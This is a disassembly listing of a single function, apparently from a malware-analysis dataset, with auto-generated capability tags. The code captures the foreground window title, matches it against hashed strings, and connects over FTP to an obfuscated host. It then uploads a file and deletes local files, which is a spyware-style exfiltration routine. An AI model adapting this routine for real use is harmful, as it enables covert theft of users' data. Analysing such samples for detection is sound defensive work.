Function at 0x5c1500
Capabilities:
Check for time delay via gettickcount
Connect to http server
Create http request
Create thread
Delete file
Get graphical window text
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6153b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c4
mov dword [ebp - 0x370], 0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 0x10], eax
push 0x100
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [0x7fe864], eax
jb 0x5c1661
mov edx, 0xaf7b3dbf
push edx
lea ecx, [ebp - 0x291]
call fcn.005c21f0
mov dword [ebp - 0x374], eax
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0x378], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x370]
or ecx, 1
mov dword [ebp - 0x370], ecx
mov edx, dword [ebp - 0x378]
push edx
lea eax, [ebp - 0x114]
push eax
call fcn.00416450
add esp, 8
test eax, eax
jne 0x5c1661
mov ecx, 0xba92cd7a
push ecx
lea ecx, [ebp - 0x29c]
call fcn.005c2270
mov dword [ebp - 0x37c], eax
mov edx, dword [ebp - 0x37c]
mov dword [ebp - 0x380], edx
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x370]
or eax, 2
mov dword [ebp - 0x370], eax
mov ecx, dword [ebp - 0x380]
push ecx
lea edx, [ebp - 0x114]
push edx
call fcn.00416450
add esp, 8
test eax, eax
jne 0x5c1661
push 0x423fa9f6
lea ecx, [ebp - 0x2a6]
call fcn.005c22f0
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 0x384]
mov dword [ebp - 0x388], eax
mov dword [ebp - 4], 2
mov ecx, dword [ebp - 0x370]
or ecx, 4
mov dword [ebp - 0x370], ecx
mov edx, dword [ebp - 0x388]
push edx
lea eax, [ebp - 0x114]
push eax
call fcn.00416450
add esp, 8
test eax, eax
jne 0x5c1661
mov dword [ebp - 0x38c], 0
jmp 0x5c166b
mov dword [ebp - 0x38c], 1
mov cl, byte [ebp - 0x38c]
mov byte [ebp - 0x289], cl
mov dword [ebp - 4], 1
mov edx, dword [ebp - 0x370]
and edx, 4
je 0x5c169b
and dword [ebp - 0x370], 0xfffffffb
lea ecx, [ebp - 0x2a6]
call fcn.005c6b90
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x370]
and eax, 2
je 0x5c16bf
and dword [ebp - 0x370], 0xfffffffd
lea ecx, [ebp - 0x29c]
call fcn.005b3ee0
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x370]
and ecx, 1
je 0x5c16e3
and dword [ebp - 0x370], 0xfffffffe
lea ecx, [ebp - 0x291]
call fcn.005b3d90
movzx edx, byte [ebp - 0x289]
test edx, edx
je 0x5c1b05
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x11c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x118]
sub ecx, dword [ebp - 0x11c]
cmp ecx, 0xbb8
jbe 0x5c1af5
mov edx, 0xa44898e6
push edx
lea ecx, [ebp - 0x2b2]
call fcn.005c2170
mov dword [ebp - 0x390], eax
mov eax, dword [ebp - 0x390]
push eax
call sub.MSVCR90.dll_remove
add esp, 4
lea ecx, [ebp - 0x2b2]
call fcn.005b3dc0
push 0
push 0
push 0
push 0x5c1220
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x288], eax
push 0
push 0x8000000
push 1
push 0x58e0dff4
lea ecx, [ebp - 0x2be]
call fcn.005c1f70
mov dword [ebp - 0x394], eax
mov ecx, dword [ebp - 0x394]
mov dword [ebp - 0x398], ecx
mov dword [ebp - 4], 3
mov edx, dword [ebp - 0x398]
push edx
push 0x58e0e000
lea ecx, [ebp - 0x2ca]
call fcn.005c1f70
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x3a0], eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x3a0]
push ecx
push 0x15
push 0x331c7bdb
lea ecx, [ebp - 0x2d8]
call fcn.005c1ef0
mov dword [ebp - 0x3a4], eax
mov edx, dword [ebp - 0x3a4]
push edx
mov eax, dword [ebp - 0x288]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x148], eax
lea ecx, [ebp - 0x2d8]
call fcn.005b3cd0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2ca]
call fcn.005b3dc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2be]
call fcn.005b3dc0
cmp dword [ebp - 0x148], 0
jne 0x5c186e
mov ecx, dword [ebp - 0x288]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x96
push 0
lea edx, [ebp - 0x284]
push edx
call sub.MSVCR90.dll_memset
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
push 0x7227b20d
lea ecx, [ebp - 0x2eb]
call fcn.005c2370
mov dword [ebp - 0x3a8], eax
mov ecx, dword [ebp - 0x3a8]
mov dword [ebp - 0x3ac], ecx
mov dword [ebp - 4], 5
mov edx, dword [ebp - 0x3ac]
push edx
push 0x2000
lea eax, [ebp - 0x284]
push eax
call fcn.00600ea0
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2eb]
call fcn.005b3ca0
lea ecx, [ebp - 0x284]
push ecx
mov edx, dword [ebp - 0x148]
push edx
call dword [sym.imp.WININET.dll_FtpCreateDirectoryA]
lea eax, [ebp - 0x144]
push eax
call fcn.005a8c90
add esp, 4
lea ecx, [ebp - 0x144]
push ecx
call fcn.005a8c70
add esp, 4
mov dword [ebp - 0x1e8], eax
push 0x7a9fa8b5
lea ecx, [ebp - 0x307]
call fcn.005c2070
mov dword [ebp - 0x3b0], eax
mov edx, dword [ebp - 0x3b0]
mov dword [ebp - 0x3b4], edx
mov dword [ebp - 4], 6
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2f0], esp
mov eax, dword [ebp - 0x3b4]
push eax
call fcn.00416410
mov dword [ebp - 0x3b8], eax
lea ecx, [ebp - 0x138]
push ecx
call fcn.005c0060
add esp, 0x20
mov dword [ebp - 0x3bc], eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x307]
call fcn.005b3c40
mov edx, dword [ebp - 0x1e8]
cmp dword [edx + 8], 0x18
jle 0x5c19a0
mov eax, dword [ebp - 0x1e8]
mov ecx, dword [eax + 8]
sub ecx, 0xc
mov dword [ebp - 0x3c0], ecx
jmp 0x5c19af
mov edx, dword [ebp - 0x1e8]
mov eax, dword [edx + 8]
mov dword [ebp - 0x3c0], eax
mov ecx, dword [ebp - 0x1e8]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x1e8]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [ebp - 0x3c0]
push edx
mov eax, dword [ebp - 0x1e8]
mov ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp - 0x1e8]
mov eax, dword [edx + 0x10]
add eax, 1
push eax
mov ecx, dword [ebp - 0x1e8]
mov edx, dword [ecx + 0x14]
add edx, 0x76c
push edx
lea ecx, [ebp - 0x138]
call fcn.00416460
push eax
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x284]
push ecx
push 0x2a879e9d
lea ecx, [ebp - 0x354]
call fcn.005c20f0
mov dword [ebp - 0x3c4], eax
mov edx, dword [ebp - 0x3c4]
mov dword [ebp - 0x3c8], edx
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x3c8]
push eax
push 0x2000
lea ecx, [ebp - 0x1e4]
push ecx
call fcn.00600ea0
add esp, 0x30
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x354]
call fcn.005c1b80
push 0
push 2
lea edx, [ebp - 0x1e4]
push edx
mov eax, 0xa448999a
push eax
lea ecx, [ebp - 0x360]
call fcn.005c2170
mov dword [ebp - 0x3cc], eax
mov ecx, dword [ebp - 0x3cc]
push ecx
mov edx, dword [ebp - 0x148]
push edx
call dword [sym.imp.WININET.dll_FtpPutFileA]
lea ecx, [ebp - 0x360]
call fcn.005b3dc0
mov eax, dword [ebp - 0x148]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x288]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, 0xa44899a6
push edx
lea ecx, [ebp - 0x36c]
call fcn.005c2170
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x3d0]
push eax
call sub.MSVCR90.dll_remove
add esp, 4
lea ecx, [ebp - 0x36c]
call fcn.005b3dc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x138]
call fcn.00416470
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0xbb8
mov dword [0x7fe864], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret